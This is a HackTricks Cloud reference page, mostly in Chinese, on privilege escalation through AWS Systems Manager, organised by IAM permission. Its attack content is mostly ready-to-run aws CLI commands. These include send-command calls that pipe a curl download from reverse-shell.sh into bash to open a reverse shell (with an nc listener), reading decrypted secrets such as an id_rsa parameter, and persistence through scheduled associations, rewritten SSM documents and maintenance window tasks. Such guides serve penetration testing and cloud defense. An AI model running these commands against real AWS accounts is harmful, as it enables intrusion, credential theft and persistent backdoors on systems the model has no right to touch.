AWS - SSM Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
SSM
有关 SSM 的更多信息,请查看:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
拥有 ssm:SendCommand 权限的攻击者可以在运行 Amazon SSM Agent 的实例中执行命令,并compromise 其中运行的 IAM Role。
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
如果你正在使用这个 technique 在一个已经 compromised 的 EC2 instance 内进行 privilege escalation,你可以直接在本地用以下方式捕获 rev shell:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
潜在影响: 直接提权到运行中、且运行着 SSM Agents 的 EC2 IAM roles。
ssm:StartSession
拥有 ssm:StartSession 权限的攻击者可以在运行 Amazon SSM Agent 的实例中启动一个类似 SSH 的 session,并compromise 其中运行的 IAM Role。
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
为了开始一个 session,你需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: 直接 privesc 到附加在运行实例上的 EC2 IAM roles,这些实例正在运行 SSM Agents。
Privesc to ECS
当 ECS tasks 以启用 ExecuteCommand 的方式运行时,拥有足够权限的 users 可以使用 ecs execute-command 在 container 内部 execute a command。
根据the documentation,这通过使用 SSM Session Manager 在你用于发起“exec” command 的 device 与目标 container 之间创建一个 secure channel 来完成。(正常工作需要 SSM Session Manager Plugin)
因此,拥有 ssm:StartSession 的 users 只需运行以下命令,就能够在启用该 option 的 ECS tasks 中 get a shell inside ECS tasks:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Potential Impact: 直接 privesc 到运行中任务所附加、且启用了 ExecuteCommand 的 ECS IAM roles。
ssm:ResumeSession
拥有 ssm:ResumeSession 权限的攻击者,可以在运行 Amazon SSM Agent 的实例中,针对处于 disconnected 状态的 SSM session 重新启动一个类似 SSH 的 session,并 compromise 其中运行的 IAM Role。
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potential Impact: 直接 privesc 到附加在正在运行且有 SSM Agents 运行和断开连接 sessions 的实例上的 EC2 IAM roles。
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
拥有上述权限的攻击者将能够列出 SSM parameters 并以明文读取它们。在这些 parameters 中,你经常可以 找到敏感信息,例如 SSH keys 或 API keys。
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potential Impact: 在参数中找到敏感信息。
ssm:ListCommands
拥有此权限的攻击者可以列出发送的所有 commands,并希望在其中找到 敏感信息。
aws ssm list-commands
Potential Impact: 在命令行中查找敏感信息。
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
拥有这些权限的攻击者可以列出所有发送的 commands 并 read the output,希望从中找到 sensitive information。
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potential Impact: 在命令行输出中查找敏感信息。
使用 ssm:CreateAssociation
拥有 ssm:CreateAssociation 权限的攻击者可以创建一个 State Manager Association,自动在由 SSM 管理的 EC2 实例上执行命令。这些 association 可以配置为按固定间隔运行,非常适合实现类似后门的持久化,而无需交互式会话。
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
这种 persistence 方法只要 EC2 instance 由 Systems Manager 管理、SSM agent 正在运行,并且 attacker 有权限创建 associations,就会生效。它不需要交互式 sessions 或显式的
ssm:SendCommandpermissions。Important:--schedule-expression参数(例如rate(30 minutes))必须遵守 AWS 的最小间隔 30 分钟。对于立即或一次性执行,直接省略--schedule-expression即可 — association 会在创建后执行一次。
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
拥有 ssm:UpdateDocument 和 ssm:UpdateDocumentDefaultVersion permissions 的 attacker 可以通过修改 existing documents 来提升 privileges。这也允许在该 document 内进行 persistence。实际上,attacker 还需要 ssm:ListDocuments 来获取 custom documents 的名称;如果 attacker 想把 payload 混淆在 existing document 中,则还需要 ssm:GetDocument。
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
下面是一个示例 document,可用于覆盖现有 document。你需要确保你的 document 类型与目标 document 的类型匹配,以避免 invnocation 出现问题。下面的 document 例如将 the ssm:SendCommand 和 ssm:CreateAssociation examples。
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
拥有 ssm:RegisterTaskWithMaintenanceWindow 和 ssm:RegisterTargetWithMaintenanceWindow 权限的攻击者,可以通过先将一个新 target 注册到已有的 maintenance window,然后再更新注册一个新 task 来进行权限提升。这会在现有 targets 上实现执行,但也可以通过注册新 targets,让攻击者以不同 roles 影响 compute。由于 maintenance windows tasks 会在 window 创建时预定义的时间间隔内执行,这也提供了 persistence。实际上,攻击者还需要 ssm:DescribeMaintenanceWindows 来获取 maintenance window IDs。
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Codebuild
你也可以使用 SSM 进入一个正在构建的 codebuild project:
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

